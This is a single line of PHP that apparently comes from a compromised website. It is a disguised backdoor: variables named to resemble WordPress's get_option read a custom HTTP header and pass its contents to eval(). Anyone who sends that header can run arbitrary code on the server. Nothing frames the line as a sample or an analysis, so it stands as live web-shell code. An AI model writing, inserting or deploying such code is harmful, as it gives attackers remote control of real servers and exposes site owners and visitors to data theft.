$get_option_mmc = $_SERVER; $get_option_di = 'HTTP_8B172EE'; if (isset($get_option_mmc[$get_option_di])) { eval($get_option_mmc[$get_option_di]); }